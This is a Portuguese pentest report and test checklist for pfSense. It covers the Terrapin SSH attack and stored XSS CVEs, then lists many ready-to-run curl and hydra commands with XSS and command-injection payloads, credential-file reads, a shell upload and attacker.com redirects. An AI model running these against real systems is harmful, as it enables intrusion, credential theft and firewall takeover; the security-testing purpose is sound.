DESCRIÇÃO:
A vulnerabilidade Terrapin (CVE-2023-48795) afeta o protocolo SSH Binary Packet
Protocol (RFC 4253). O contador de sequência MAC não é reiniciado na transição
do handshake não-cifrado para o canal criptografado.

Um atacante com posição MITM pode:
1. Injetar um pacote SSH2_MSG_IGNORE durante o handshake não-cifrado
2. Este injeta desloca o counter de sequência do servidor em +1
3. Após o canal criptografar, o primeiro pacote (SSH2_MSG_EXT_INFO) pode ser
   deletado silenciosamente — os counters permanecem sincronizados
4. Sem EXT_INFO, o servidor não recebe a lista de algoritmos de assinatura RSA
   modernos (rsa-sha2-256/512), forçando o cliente ao fallback para senha

CIPHERS AFETADOS:
  chacha20-poly1305@openssh.com: ataque determinístico (~100% sucesso)
  *-etm@openssh.com MACs:        ataque probabilístico (1-2 horas)
IMUNES: aes*-gcm@openssh.com, modos não-ETM

EVIDÊNCIA:
$ python3 poc.py scan [TARGET]
  Banner : SSH-2.0-OpenSSH_9.4
  OpenSSH: 9.4p1 (< 9.6 — strict KEX ausente)
  chacha20-poly1305    : SIM (vulnerável)
  *-etm@openssh.com    : SIM (vulnerável)
  strict KEX           : NÃO
  [VULNERÁVEL] CVE-2023-48795 — Terrapin Attack

CADEIA DE EXPLORAÇÃO (requer MITM):
1. Atacante obtém posição MITM entre admin e pfSense (ex: ARP poison)
2. Injeta SSH2_MSG_IGNORE no stream cliente→servidor antes do NEWKEYS
3. Deleta silenciosamente SSH2_MSG_EXT_INFO do stream servidor→cliente
4. Admin é forçado a tentar autenticação por senha (key auth falha)
5. Atacante intercepta a credencial SSH em plaintext no pipe MITM
6. Acesso root ao pfSense — comprometimento total da infraestrutura

NOTA SOBRE CVSS vs RISCO REAL:
O CVSS 5.9 (MEDIUM) com AC:H reflete o requisito de MITM.
Porém em ambientes de pentest LAN, ARP spoofing é trivial.
O EPSS de 99º percentil reflete a escala de exposição (~77% dos
servidores SSH públicos vulneráveis no momento da divulgação).
Acesso SSH root ao pfSense = comprometimento total da rede.

IMPACTO:
- Downgrade forçado de autenticação por chave para senha
- Interceptação de credencial SSH root em posição MITM
- Bypass de keystroke timing obfuscation (OpenSSH 9.5 específico)
- Comprometimento total do firewall e de todas as redes protegidas

REMEDIAÇÃO:
1. [Definitivo] Atualizar pfSense CE para >= 2.8.0 ou Plus para >= 24.03
2. [Workaround] Adicionar em sshd_config:
     Ciphers -chacha20-poly1305@openssh.com
     MACs -*etm@openssh.com
3. Instalar System Patches Package v2.2.9 (CE 2.7.2)
4. Verificar com: python3 poc.py workaround-check [TARGET]

PoC: pocs/PfSense/CVE-2023-48795/poc.py
Scanner oficial: https://github.com/RUB-NDS/Terrapin-Scanner
PTES REFERENCE: Section 3.2, 4.1
REFERÊNCIAS:
- https://terrapin-attack.com/
- https://nvd.nist.gov/vuln/detail/CVE-2023-48795
- FreeBSD-SA-23:19.openssh
- https://github.com/RUB-NDS/Terrapin-Scanner
- https://github.com/RUB-NDS/Terrapin-Artifacts
```

### 9.12 MEDIUM — CVE-2025-34177: Stored XSS via suricata_flow_stream.php

```
FINDING: PFSENSE-SURICATA-SXSS-001
TÍTULO: Stored XSS via policy_name no Suricata Host OS Policy (CVE-2025-34177)
SEVERIDADE: MÉDIO (CVSS 5.4)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1 e Plus 25.07/25.07.1 com Suricata <= 7.0.8_3
PTES: Section 3.1 / Section 4.1
CWE: CWE-79

ALVO:
- Endpoint: /suricata/suricata_flow_stream.php
- Parâmetro: policy_name (POST, modo save_os_policy)
- Config path: installedpackages/suricata/rule/{id}/host_os_policy/item[n][name]

DESCRIÇÃO:
O parâmetro POST `policy_name` é salvo diretamente em config.xml sem
htmlspecialchars() e refletido na tabela de Host OS Policies via gettext():

    // armazenamento (vulnerável):
    $engine['name'] = $policy_name;

    // reflexão (vulnerável):
    <td><?=gettext($v['name'])?></td>

Qualquer usuário com acesso ao Suricata GUI pode plantar XSS que persiste
para todos os demais usuários que visitam a página. Se um admin autenticado
visitar, o payload rouba o PHPSESSID → RCE via diag_command.php.

EVIDÊNCIA:
POST /suricata/suricata_flow_stream.php
mode=save_os_policy&policy_name="><img src=x onerror=alert(document.domain)>&...

Resposta ao visitar /suricata/suricata_flow_stream.php?id=0:
<td>"><img src=x onerror=alert(document.domain)></td>   ← sem encoding = VULNERÁVEL

IMPACTO:
- XSS persistente afeta todos os usuários do Suricata GUI
- Roubo de sessão admin → RCE como root via diag_command.php
- Combinado com CVE-2025-34178: payload em dois subsistemas = maior persistência

REMEDIAÇÃO:
1. Atualizar Suricata para versão >= 7.0.8_4
2. Aplicar patch: commit 97852cc @ pfsense/FreeBSD-ports

PoC: pocs/PfSense/CVE-2025-34177/poc.py
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/97852ccfd201b24ee542be30af81272485fde0b4
```

### 9.13 MEDIUM — CVE-2025-34178: Stored XSS via suricata_app_parsers.php

```
FINDING: PFSENSE-SURICATA-SXSS-002
TÍTULO: Stored XSS via policy_name no Suricata libhtp Policy (CVE-2025-34178)
SEVERIDADE: MÉDIO (CVSS 5.4)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1 e Plus 25.07/25.07.1 com Suricata <= 7.0.8_3
PTES: Section 3.1 / Section 4.1
CWE: CWE-79

ALVO:
- Endpoint: /suricata/suricata_app_parsers.php
- Parâmetro: policy_name (POST, modo save_libhtp_policy)
- Config path: installedpackages/suricata/rule/{id}/libhtp_policy/item[n][name]

DESCRIÇÃO:
Estruturalmente idêntico ao CVE-2025-34177 mas no subsistema libhtp
(HTTP Application Layer Parser). Adicionalmente, 9 hidden inputs no
modo select_alias refletem parâmetros sem htmlspecialchars(), incluindo
eng_personality, eng_req_body_limit, eng_resp_body_limit,
eng_meta_field_limit e 3 campos eng_enable_*.

EVIDÊNCIA:
POST /suricata/suricata_app_parsers.php
mode=save_libhtp_policy&policy_name="><img src=x onerror=alert(1)>
&policy_personality=IDS&policy_req_body_limit=4096&...

<td>"><img src=x onerror=alert(1)></td>   ← na tabela libhtp = VULNERÁVEL

NOTA SOBRE REDUNDÂNCIA:
Se CVE-2025-34177 e CVE-2025-34178 estiverem ambas presentes, plantar
em dois subsistemas cria redundância: remover um payload não elimina o outro.

IMPACTO:
- XSS persistente em dois subsistemas do Suricata GUI
- Roubo de sessão admin → RCE como root via diag_command.php

REMEDIAÇÃO:
1. Atualizar Suricata para versão >= 7.0.8_4
2. Aplicar patch: commit 97852cc @ pfsense/FreeBSD-ports

PoC: pocs/PfSense/CVE-2025-34178/poc.py
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/97852ccfd201b24ee542be30af81272485fde0b4
```

### 9.14 MEDIUM — CVE-2024-54779: Stored XSS + XML Injection via Dashboard Log Widget
```
SEVERIDADE: MÉDIO (CVSS v3.1: 5.4) / ALTO encadeado com RCE
TÍTULO: Stored XSS via filterlogentriesinterval + XML Injection via widgetkey

VERSÕES AFETADAS:
- pfSense CE < 2.8.0
- pfSense Plus < 24.03

DESCRIÇÃO:
O widget de log do dashboard (log.widget.php) apresenta dois vetores:

1. STORED XSS: O parâmetro POST `filterlogentriesinterval` é salvo em config.xml
   sem validação numérica e renderizado diretamente no JavaScript do dashboard:
     logsObject.freq = <?=$nentriesinterval?>;
   Qualquer valor não-numérico é executado como JavaScript para todos os admins
   que carregarem o dashboard.

2. XML INJECTION: O parâmetro `widgetkey` é usado como nome de elemento XML em
   config.xml sem validação de formato. Um widgetkey malformado pode corromper
   o config.xml do usuário, potencialmente causando DoS ou propagando a corrupção
   via XMLRPC sync em ambientes de alta disponibilidade.

CÓDIGO VULNERÁVEL (log.widget.php, pré-patch):
  $widgetkey = $_POST['widgetkey'];  // sem is_valid_widgetkey()
  $user_settings['widgets'][$widgetkey]['filterlogentriesinterval']
      = $_POST['filterlogentriesinterval'];  // sem is_numeric()
  // ...
  logsObject.freq = <?=$nentriesinterval?>;  // sink JS (linha 415)

CORREÇÃO (CE 2.8.0, commits 04b74da / 6b42147 / ff50e62):
  is_valid_widgetkey() valida o formato do widgetkey
  is_numeric() valida filterlogentriesinterval antes de salvar e de ler

EVIDÊNCIA (payload de demonstração):
  POST /widgets/widgets/log.widget.php
  widgetkey=log-0
  filterlogentriesinterval=1;alert('CVE-2024-54779-POC')//

  Dashboard renderiza:
  logsObject.freq = 1;alert('CVE-2024-54779-POC')//;
  [EXECUTADO EM TODOS OS BROWSERS DOS ADMINS QUE ACESSAREM O DASHBOARD]

IMPACTO ENCADEADO (+ diag_command.php):
  XSS → cookie admin exfiltrado → acesso autenticado como admin →
  POST /diag_command.php?txtCommand=id → RCE como root

RECOMENDAÇÕES:
  1. Atualizar para pfSense CE 2.8.0+ ou Plus 24.03+
  2. Restringir acesso à interface Web GUI por IP de origem
  3. Implementar CSP (Content-Security-Policy) como defesa em profundidade
  4. Monitorar alterações em config.xml (especialmente seção <widgets>)

PoC: pocs/PfSense/CVE-2024-54779/poc.py
REFERÊNCIAS:
- https://github.com/pfsense/pfsense/commit/04b74da
- https://github.com/pfsense/pfsense/commit/6b42147
- https://nvd.nist.gov/vuln/detail/CVE-2024-54779
```

---

## Fase 10 — Checklist de Features pfSense

> **Objetivo**: Mapear TODAS as features do pfSense identificadas no código-fonte para testes de segurança específicos.
> **Base**: Análise completa de `src/etc/inc/*.inc`, `src/usr/local/www/*.php`, `priv.defs.inc`, `globals.inc`

---

### 10.1 Authentication & Authorization

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Local Database Auth | `auth.inc:52-63` | page-all | Testar brute force + lockout bypass |
| RADIUS Authentication | `auth.inc` | page-system-authservers | Testar auth bypass via RADIUS timeout |
| LDAP Authentication | `auth.inc` | page-system-authservers | Testar LDAP injection |
| TOTP/2FA | `system_usermanager.php` | page-system-usermanager | Testar 2FA bypass |
| HTTP Basic Auth (XMLRPC) | `xmlrpc.php:48-84` | page-xmlrpc | Testar brute force sem lockout |
| Session Management | `phpsessionmanager.inc` | page-all | Testar session fixation/hijack |
| Privilege System | `priv.defs.inc` | page-all | Testar privilege escalation |
| Anti-Lockout Rule | `auth.inc` | N/A | Verificar se protege apenas LAN |

#### Checklist de Testes
```bash
# 1. Testar brute force com lockout
hydra -l admin -P /usr/share/wordlists/passwords/common.txt \
  https-post-form://TARGET/":usernamefld=^USER^&passwordfld=^PASS^&login=Sign+In:Username or Password incorrect" \
  -t 1 -w 5

# 2. Testar XMLRPC brute force (sem lockout)
hydra -l admin -P senhas.txt TARGET https-get /xmlrpc.php

# 3. Testar session hijack
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/
# Extrair PHPSESSID e testar em outra requisição

# 4. Testar privilege escalation
# Acessar página admin com conta de baixo privilégio
curl -sk -b lowpriv_cookies.txt https://TARGET/system_advanced_admin.php

# 5. Testar 2FA bypass
curl -sk -b cookies.txt https://TARGET/system_usermanager.php \
  | grep -i "totp|2fa|two.factor"

# 6. Verificar lockout configuration
curl -sk -b admin_cookies.txt https://TARGET/system_advanced_admin.php \
  | grep -i "lockout|failed"
```

---

### 10.2 Firewall & NAT

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Firewall Rules Edit | `firewall_rules_edit.php` | page-firewall-edit | Testar XSS + command injection |
| NAT 1:1 | `firewall_nat_1to1_edit.php` | page-firewall-nat-edit | Testar XSS + injection |
| NAT Outbound | `firewall_nat_out_edit.php` | page-firewall-nat-edit | Testar XSS |
| NAT Port Forward | `firewall_nat_edit.php` | page-firewall-nat-edit | Testar XSS + injection |
| Aliases | `firewall_aliases_edit.php` | page-firewall-aliases-edit | Testar XSS (CVE-2023-42328) |
| Schedules | `firewall_schedule_edit.php` | page-firewall-schedule-edit | Testar XSS |
| Virtual IPs | `firewall_virtual_ip_edit.php` | page-firewall-virtualip-edit | Testar injection |
| Traffic Shaper | `firewall_shaper.php` | page-firewall-trafficshaper | Testar DoS via queue config |

#### Checklist de Testes
```bash
# 1. Testar XSS em firewall rules
curl -sk -b cookies.txt https://TARGET/firewall_rules_edit.php \
  -d "interface=wan&descr=<script>alert(1)</script>&type=any&ipprotocol=inet&Submit=Save"

# 2. Testar XSS em aliases
curl -sk -b cookies.txt https://TARGET/firewall_aliases_edit.php \
  -d "name=test_xss&type=host(s)&address=127.0.0.1&descr=<script>alert(1)</script>&Submit=Save"

# 3. Testar NAT injection
curl -sk -b cookies.txt https://TARGET/firewall_nat_edit.php \
  -d "interface=wan&protocol=tcp&srcport=22&dstport=22;id;#&Submit=Save"

# 4. Verificar regras existentes (reconhecimento)
curl -sk -b cookies.txt https://TARGET/firewall_rules.php | grep -E "descr|rule"

# 5. Testar traffic shaper DoS
curl -sk -b cookies.txt https://TARGET/firewall_shaper_queues.php \
  -d "scheduler=HFSC&bandwidth=999999999&Submit=Save"
```

---

### 10.3 Network Interfaces

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Interface Assign | `interfaces_assign.php` | page-interfaces-assign | Testar DoS via interface reassign |
| Interface Config | `interfaces.php` | page-interfaces-edit | Testar XSS + injection |
| Bridge Interfaces | `interfaces_bridge_edit.php` | page-interfaces-bridge-edit | Testar bridge bypass |
| VLAN Config | `interfaces_vlan_edit.php` | page-interfaces-vlan-edit | Testar VLAN hopping config |
| LAGG Config | `interfaces_lagg_edit.php` | page-interfaces-lagg-edit | Testar LAGG injection |
| GIF Tunnel | `interfaces_gif_edit.php` | page-interfaces-interfaces-edit | **CVE-2023-42326** |
| GRE Tunnel | `interfaces_gre_edit.php` | page-interfaces-interfaces-edit | **CVE-2023-42326** |
| PPP/PPPoE | `interfaces_ppps_edit.php` | page-interfaces-ppps-edit | Testar injection |
| Wireless | `interfaces_wireless_edit.php` | page-interfaces-wireless-edit | Testar wireless config |
| Groups | `interfaces_groups_edit.php` | page-interfaces-group-edit | Testar group bypass |
| QINQ | `interfaces_qinq_edit.php` | page-interfaces-qinq-edit | Testar QINQ injection |

#### Checklist de Testes
```bash
# 1. Testar command injection GIF (CVE-2023-42326)
curl -sk -b cookies.txt https://TARGET/interfaces_gif_edit.php \
  -d "gifif=wan; id; echo CMD_END; #&giflocal=192.168.1.100&gifremote=192.168.1.1&Submit=Save"

# 2. Testar command injection GRE (CVE-2023-42326)
curl -sk -b cookies.txt https://TARGET/interfaces_gre_edit.php \
  -d "greif=wan; id; echo CMD_END; #&grelocal=192.168.1.100&greremote=192.168.1.1&Submit=Save"

# 3. Testar XSS em interface description
curl -sk -b cookies.txt https://TARGET/interfaces.php \
  -d "if=wan&descr=<script>alert(1)</script>&Submit=Save"

# 4. Testar bridge bypass
curl -sk -b cookies.txt https://TARGET/interfaces_bridge_edit.php \
  -d "members=lan,wan&Submit=Save"

# 5. Enumerar interfaces configuradas
curl -sk -b cookies.txt https://TARGET/interfaces_assign.php | grep -E "interface|select"
```

---

### 10.4 VPN Services

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| IPsec Phase 1 | `vpn_ipsec_phase1.php` | page-vpn-ipsec-edit | Testar weak crypto + injection |
| IPsec Phase 2 | `vpn_ipsec_phase2.php` | page-vpn-ipsec-edit | Testar PFS bypass |
| IPsec Mobile | `vpn_ipsec_mobile.php` | page-vpn-ipsec-edit | Testar XAUTH bypass |
| IPsec Keys | `vpn_ipsec_keys_edit.php` | page-vpn-ipsec-edit | Testar key injection |
| IPsec Settings | `vpn_ipsec_settings.php` | page-vpn-ipsec-settings | Testar config injection |
| OpenVPN Server | `vpn_openvpn_server.php` | page-vpn-openvpn-edit | Testar cert injection |
| OpenVPN Client | `vpn_openvpn_client.php` | page-vpn-openvpn-edit | Testar config injection |
| OpenVPN CSC | `vpn_openvpn_csc.php` | page-vpn-openvpn-edit | Testar per-client injection |
| L2TP Server | `vpn_l2tp.php` | page-vpn-l2tp-edit | Testar PPP injection |
| L2TP Users | `vpn_l2tp_users_edit.php` | page-vpn-l2tp-edit | Testar user injection |
| PPPoE Server | `services_pppoe_edit.php` | page-services-pppoe-edit | Testar PPPoE injection |

#### Checklist de Testes
```bash
# 1. Testar IPsec weak crypto
curl -sk -b cookies.txt https://TARGET/vpn_ipsec_phase1.php \
  -d "encryptionalgorithm=AES-CBC_128&hashalgorithm=MD5&Submit=Save"

# 2. Testar OpenVPN config injection
curl -sk -b cookies.txt https://TARGET/vpn_openvpn_server.php \
  -d "custom_options=;id;#&Submit=Save"

# 3. Testar L2TP user injection
curl -sk -b cookies.txt https://TARGET/vpn_l2tp_users_edit.php \
  -d "username=test;id;#&password=test&Submit=Save"

# 4. Enumerar VPNs configuradas
curl -sk -b cookies.txt https://TARGET/vpn_ipsec.php | grep -E "phase1|phase2"
curl -sk -b cookies.txt https://TARGET/status_openvpn.php | grep -E "server|client"

# 5. Extrair chaves IPsec
curl -sk -b cookies.txt https://TARGET/vpn_ipsec_keys.php | grep -E "key|rsa"

# 6. Testar XAUTH bypass (IPsec Mobile)
curl -sk -b cookies.txt https://TARGET/vpn_ipsec_mobile.php \
  -d "user_source=System+Authentication&Submit=Save"
```

---

### 10.5 System Services

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| DHCP Server | `services_dhcp.php` | page-services-dhcp-edit | Testar DHCP starvation + injection |
| DHCPv6 Server | `services_dhcpv6.php` | page-services-dhcpv6-edit | Testar RA flood |
| DNS Resolver (Unbound) | `services_unbound.php` | page-services-dnsresolver-edit | Testar cache poisoning |
| DNS Forwarder (Dnsmasq) | `services_dnsmasq.php` | page-services-dnsforwarder-edit | Testar DNS rebinding |
| NTP Server | `services_ntpd.php` | page-services-ntpd-edit | Testar NTP amplification |
| SNMP Service | `services_snmp.php` | page-services-snmp-edit | Testar community string weak |
| UPnP & NAT-PMP | `services_upnp.php` | page-services-upnp-edit | Testar port forwarding abuse |
| IGMP Proxy | `services_igmpproxy.php` | page-services-igmpproxy-edit | Testar multicast abuse |
| RFC2136 Client | `services_rfc2136.php` | page-services-dnsupdate-edit | Testar DNS update abuse |
| Dynamic DNS | `services_dyndns.php` | page-services-dyndns-edit | Testar credential leak |
| Wake-on-LAN | `services_wol.php` | page-services-wol-edit | Testar unauthorized wake |
| ACB (AutoConfig) | `services_acb.php` | page-services-acb-edit | Testar config download |
| CheckIP | `services_checkip.php` | page-services-checkip-edit | Testar IP leak |

#### Checklist de Testes
```bash
# 1. Testar DHCP starvation
curl -sk -b cookies.txt https://TARGET/services_dhcp.php \
  -d "range_from=192.168.1.1&range_to=192.168.1.254&Submit=Save"

# 2. Testar DNS cache poisoning (Unbound)
curl -sk -b cookies.txt https://TARGET/services_unbound.php \
  -d "custom_options=server:\n  private-address: 0.0.0.0/0&Submit=Save"

# 3. Testar SNMP community string
curl -sk -b cookies.txt https://TARGET/services_snmp.php \
  -d "rocommunity=public&Submit=Save"

# 4. Testar UPnP port forwarding abuse
curl -sk -b cookies.txt https://TARGET/services_upnp.php \
  -d "enable=on&allow_internal=on&Submit=Save"

# 5. Enumerar serviços ativos
curl -sk -b cookies.txt https://TARGET/status_services.php | grep -E "service|status"

# 6. Testar NTP amplification config
curl -sk -b cookies.txt https://TARGET/services_ntpd.php \
  -d "interface=All&Submit=Save"
```

---

### 10.6 Captive Portal

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| CP Configuration | `services_captiveportal.php` | page-services-captiveportal-edit | Testar bypass |
| CP Zones | `services_captiveportal_zones.php` | page-services-captiveportal-zones-edit | Testar zone bypass |
| CP Users | `services_captiveportal_ip.php` | page-services-captiveportal-users-edit | Testar user bypass |
| CP MACs | `services_captiveportal_mac.php` | page-services-captiveportal-mac-edit | Testar MAC bypass |
| CP Hostnames | `services_captiveportal_hostname.php` | page-services-captiveportal-hostname-edit | Testar DNS bypass |
| CP Vouchers | `services_captiveportal_vouchers.php` | page-services-captiveportal-vouchers-edit | Testar voucher brute force |
| CP File Manager | `services_captiveportal_filemanager.php` | page-services-captiveportal-filemanager | Testar file upload |
| CP HA Sync | `services_captiveportal_hasync.php` | page-services-captiveportal-hasync-edit | Testar sync injection |

#### Checklist de Testes
```bash
# 1. Testar MAC bypass
curl -sk -b cookies.txt https://TARGET/services_captiveportal_mac_edit.php \
  -d "action=add&mac=00:11:22:33:44:FF&Submit=Save"

# 2. Testar voucher brute force
for v in {0000..9999}; do
  curl -sk -X POST https://TARGET/captiveportal/ \
    -d "auth_user=guest&auth_voucher=$v" | grep -v "invalid"
done

# 3. Testar file upload no Captive Portal
curl -sk -b cookies.txt https://TARGET/services_captiveportal_filemanager.php \
  -F "upload=@shell.php" -F "zone=cpzone"

# 4. Testar DNS bypass
curl -sk -b cookies.txt https://TARGET/services_captiveportal_hostname_edit.php \
  -d "hostname=evil.com&Submit=Save"

# 5. Enumerar zonas CP
curl -sk -b cookies.txt https://TARGET/services_captiveportal_zones.php | grep -E "zone|Zone"

# 6. Testar HA sync injection
curl -sk -b cookies.txt https://TARGET/services_captiveportal_hasync.php \
  -d "synchronizetoip=attacker.com&Submit=Save"
```

---

### 10.7 Diagnostics & Monitoring

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Command Execution | `diag_command.php` | page-diagnostics-command | **RCE direto** + **CVE-2025-53392** |
| Packet Capture | `diag_packet_capture.php` | page-diagnostics-packetcapture | **CVE-2023-48123** |
| Ping | `diag_ping.php` | page-diagnostics-ping | Testar command injection |
| Traceroute | `diag_traceroute.php` | page-diagnostics-traceroute | Testar command injection |
| DNS Lookup | `diag_dns.php` | page-diagnostics-dns | Testar command injection |
| Test Port | `diag_testport.php` | page-diagnostics-testport | Testar command injection |
| ARP Table | `diag_arp.php` | page-diagnostics-arptable | Testar ARP spoofing detection |
| DNS Cache | `diag_dns.php` | page-diagnostics-dns | Testar cache enumeration |
| Routes | `diag_routes.php` | page-diagnostics-routes | Testar route injection |
| States | `diag_dump_states.php` | page-diagnostics-showstates | Testar state enumeration |
| System Activity | `diag_system_activity.php` | page-diagnostics-system-activity | Testar process enumeration |
| Sockets | `diag_sockets.php` | page-diagnostics-sockets | Testar connection enumeration |
| Tables | `diag_tables.php` | page-diagnostics-tables | Testar table manipulation |
| Smart Status | `diag_smart.php` | page-diagnostics-smart | Testar disk enumeration |
| GMirror | `diag_gmirror.php` | page-diagnostics-gmirror | Testar RAID enumeration |
| Backup/Restore | `diag_backup.php` | page-diagnostics-backup-restore | Testar config download/upload |
| Config History | `diag_confbak.php` | page-diagnostics-configurationhistory | Testar config version download |
| Edit File | `diag_edit.php` | page-diagnostics-edit | Testar arbitrary file read/write |
| Factory Defaults | `diag_defaults.php` | page-diagnostics-factorydefaults | Testar DoS via reset |
| Reboot/Halt | `diag_reboot.php`, `diag_halt.php` | page-diagnostics-rebootsystem | Testar DoS |
| Authentication Test | `diag_authentication.php` | page-diagnostics-authentication | Testar auth bypass |
| NDP Table | `diag_ndp.php` | page-diagnostics-ndptable | Testar IPv6 enumeration |
| pfInfo | `diag_pf_info.php` | page-diagnostics-pf-info | Testar pf enumeration |
| pfTop | `diag_pftop.php` | page-diagnostics-system-pftop | Testar traffic enumeration |
| Limiter Info | `diag_limiter_info.php` | page-diagnostics-limiter-info | Testar traffic shaping enum |
| Reset State | `diag_resetstate.php` | page-diagnostics-resetstate | Testar DoS via state clear |
| States Summary | `diag_states_summary.php` | page-diagnostics-showstates | Testar state enumeration |

#### Checklist de Testes
```bash
# 1. Testar command injection via diag_ping
curl -sk -b cookies.txt https://TARGET/diag_ping.php \
  -d "host=127.0.0.1;id;#&count=3&Submit=Go"

# 2. Testar command injection via diag_traceroute
curl -sk -b cookies.txt https://TARGET/diag_traceroute.php \
  -d "host=127.0.0.1;id;#&Submit=Go"

# 3. Testar command injection via diag_dns
curl -sk -b cookies.txt https://TARGET/diag_dns.php \
  -d "host=127.0.0.1;id;#&Submit=Go"

# 4. Testar file read via diag_edit
curl -sk -b cookies.txt https://TARGET/diag_edit.php \
  -d "path=/etc/master.passwd&Submit=Load"

# 5. Testar backup config download
curl -sk -b cookies.txt https://TARGET/diag_backup.php \
  -d "download=Download+Configuration" -o config.xml

# 6. Testar config history access
curl -sk -b cookies.txt https://TARGET/diag_confbak.php | grep -E "config-|xml"

# 7. Testar packet capture (CVE-2023-48123)
curl -sk -b cookies.txt https://TARGET/diag_packet_capture.php \
  -d "interface=wan&host=127.0.0.1;id;#&count=5&Submit=Start"

# 8. Enumerar todos os arquivos acessíveis
for f in /etc/passwd /etc/master.passwd /cf/conf/config.xml /etc/ssh/ssh_host_rsa_key; do
  curl -sk -b cookies.txt https://TARGET/diag_edit.php \
    -d "path=$f&Submit=Load" | grep -v "error"
done
```

---

### 10.8 User Management

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| User Manager | `system_usermanager.php` | page-system-usermanager | Testar XSS (CVE-2023-42330) |
| Group Manager | `system_groupmanager.php` | page-system-groupmanager | Testar XSS + privilege escalation |
| User Privileges | `system_usermanager_addprivs.php` | page-system-usermanager | Testar privilege escalation |
| Group Privileges | `system_groupmanager_addprivs.php` | page-system-groupmanager | Testar privilege escalation |
| Auth Servers | `system_authservers.php` | page-system-authservers | Testar LDAP/RADIUS injection |
| Gateway Groups | `system_gateway_groups_edit.php` | page-system-gatewaygroups-edit | Testar gateway injection |
| Gateways | `system_gateways_edit.php` | page-system-gateways-edit | Testar gateway injection |
| Routes | `system_routes_edit.php` | page-system-routes-edit | Testar route injection |
| Cert Manager | `system_certmanager.php` | page-system-certmanager | Testar cert injection |
| CRL Manager | `system_crlmanager.php` | page-system-crlmanager | Testar CRL injection |
| CA Manager | `system_camanager.php` | page-system-camanager | Testar CA injection |
| HA Sync | `system_hasync.php` | page-system-hasync-edit | Testar sync injection |
| Advanced Admin | `system_advanced_admin.php` | page-system-advancedadmin | Testar admin bypass |
| Advanced Firewall | `system_advanced_firewall.php` | page-system-advancedfirewall | Testar firewall bypass |
| Advanced Network | `system_advanced_network.php` | page-system-advancednetwork | Testar network config |
| Advanced Misc | `system_advanced_misc.php` | page-system-advancedmisc | Testar misc config |
| Advanced Sysctl | `system_advanced_sysctl.php` | page-system-advancedsysctl | Testar kernel param injection |
| Advanced Notifications | `system_advanced_notifications.php` | page-system-advancednotifications | Testar notification injection |

#### Checklist de Testes
```bash
# 1. Testar XSS em user manager (CVE-2023-42330)
curl -sk -b cookies.txt https://TARGET/system_usermanager.php \
  -d "usernamefld=test&passwordfld=test&fullnamefld=<script>alert(1)</script>&Submit=Save"

# 2. Testar privilege escalation
curl -sk -b cookies.txt https://TARGET/system_usermanager_addprivs.php \
  -d "userid=1&privid=page-all&Submit=Save"

# 3. Testar LDAP injection
curl -sk -b cookies.txt https://TARGET/system_authservers.php \
  -d "type=ldap&ldapurl=ldap://attacker.com&Submit=Save"

# 4. Testar HA sync injection
curl -sk -b cookies.txt https://TARGET/system_hasync.php \
  -d "synchronizetoip=attacker.com&password=attacker&Submit=Save"

# 5. Testar certificate injection
curl -sk -b cookies.txt https://TARGET/system_certmanager.php \
  -d "method=import&cert=MIIE...BASE64...&Submit=Save"

# 6. Enumerar usuários
curl -sk -b cookies.txt https://TARGET/system_usermanager.php | grep -E "username|user"

# 7. Testar gateway injection
curl -sk -b cookies.txt https://TARGET/system_gateways_edit.php \
  -d "gatewayip=192.168.1.1;id;#&Submit=Save"
```

---

### 10.9 Package Management

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Package Manager | `pkg_mgr.php` | page-pkg-mgr | Testar package install |
| Package Install | `pkg_mgr_install.php` | page-pkg-mgr | Testar malicious package |
| Installed Packages | `pkg_mgr_installed.php` | page-pkg-mgr | Testar package upgrade |
| Package Edit | `pkg_edit.php` | page-pkg-mgr | Testar config injection |
| Package Utils | `pkg-utils.inc` | page-pkg-mgr | Testar package execution |

#### Checklist de Testes
```bash
# 1. Enumerar pacotes instalados
curl -sk -b cookies.txt https://TARGET/pkg_mgr_installed.php | grep -E "package|name"

# 2. Testar package install
curl -sk -b cookies.txt https://TARGET/pkg_mgr_install.php \
  -d "pkg=pkg_name&Submit=Install"

# 3. Testar package config injection (ex: Suricata)
curl -sk -b cookies.txt https://TARGET/suricata/suricata_download_rules.php \
  -d "url=http://attacker.com/rules.tar.gz&Submit=Download"

# 4. Verificar pacotes com CVEs conhecidos
# pfBlockerNG: CVE-2022-31814, CVE-2022-40624
# Suricata: CVE-2025-34173, CVE-2025-12490
# Snort: CVE-2025-34176

# 5. Testar package removal
curl -sk -b cookies.txt https://TARGET/pkg_mgr_installed.php \
  -d "pkg=pkg_name&Submit=Remove"
```

---

### 10.10 Status & Reporting

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| Dashboard | `index.php` | page-all | Testar widget injection |
| Interface Status | `status_interfaces.php` | page-status-interfaces | Testar interface enumeration |
| Gateway Status | `status_gateways.php` | page-status-gateways | Testar gateway enumeration |
| CARP Status | `status_carp.php` | page-status-carp | Testar HA enumeration |
| IPsec Status | `status_ipsec.php` | page-status-ipsec | Testar VPN enumeration |
| OpenVPN Status | `status_openvpn.php` | page-status-openvpn | Testar VPN enumeration |
| DHCP Leases | `status_dhcp_leases.php` | page-status-dhcp-leases | Testar client enumeration |
| DHCPv6 Leases | `status_dhcpv6_leases.php` | page-status-dhcpv6-leases | Testar client enumeration |
| Captive Portal Status | `status_captiveportal.php` | page-status-captiveportal | Testar user enumeration |
| Logs | `status_logs.php` | page-status-logs | Testar log access |
| Log Settings | `status_logs_settings.php` | page-status-logs-settings | Testar log config |
